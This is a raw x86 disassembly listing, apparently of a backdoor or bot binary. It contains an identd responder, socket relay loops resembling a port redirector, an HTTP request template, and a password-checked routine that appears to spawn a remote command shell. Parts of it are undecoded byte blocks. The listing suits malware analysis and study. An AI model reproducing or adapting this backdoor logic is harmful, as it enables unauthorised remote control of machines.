		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D128

loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFC4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		pop	esi

loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------

loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAF74
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEBC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h

loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F94
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------

loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387

loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F50
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
		pop	ebx

loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEBC[ecx], eax
		call	dword_4CAE84
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFA0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAF9C
		test	eax, eax
		jnz	loc_410516

loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB008
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_433FFC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		db 0E8h, 0D7h, 0FBh
		dd 8B900227h, 0C969C44Dh, 234h,	8189C63Bh, 43DEC4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 1E89032h, 0EB0227FBh, 0F9E890EDh
		dd 50022802h, 433FC068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------

loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]

loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi

loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CAFF4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAF74
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFF8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------

loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF2C

loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_434084
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEBC[ebx]
		mov	dword_43DEB4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEC0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4106DE

loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_41068B
; ---------------------------------------------------------------------------

loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h

loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------

loc_4106DE:				; CODE XREF: ___:00410689j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_434044
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx

loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEC0[esi]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEBC[esi]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759

loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEC0[esi]
		call	dword_4CB00C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22DF844h
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEBC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h

loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEC8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF08
		push	eax
		push	offset unk_43415C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26F0000h

loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------

loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0

loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D128
		push	dword ptr [esi]
		call	dword_4CAFC4
		cmp	dword_4CDCD8, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFC4
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h

loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434120
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_4340F4
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26F0000h

loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4340C8
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26F0000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]

loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------

loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_434188
		call	sub_415220
		pop	ecx

loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------

loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax

loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341B4
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh,	0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Dh, 410CCBh, 14AE890h, 0C0850238h, 0E8902975h
		dd 227FD44h, 42E06850h,	59E80043h, 59000047h, 0CC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022DF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEBCh, 50E0458Dh
		dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF54h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h
		dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0B4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 96E89050h, 8B0227F4h, 0C969B84Dh,	234h, 8189C63Bh
		dd 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh, 0F3C2E832h
		dd 0EB900227h, 0B9E890EDh, 500227FBh, 43422468h, 45CEE800h
		dd 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh, 0FBEC858Dh
		dd 0EC68FFFFh, 50004341h, 0AC15E8h, 0CC48300h, 75C47539h
		dd 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh, 0FF50FFFFh
		dd 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h, 50FFFFFBh
		dd 4507E8h, 0FF575900h,	4CB00C15h, 15FF5300h, 4CB00Ch
		dd 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh, 2DF337E8h
		dd 335B9002h, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEBC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_434384
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------

loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_434384
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26A06FFh

loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------

loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27A0000h
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_434350
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------

loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_410DDF:				; CODE XREF: sub_410CD5+104j
		call	near ptr 26A06FFh
		nop
		push	1
		push	dword ptr [esi+8]
		call	near ptr 2710CAAh
		nop

loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB00C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax

loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_434434
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------

loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_4343F4

loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------

loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_4343CC
		call	sub_4151AC

loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi

loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi

loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi

loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi

loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------

loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
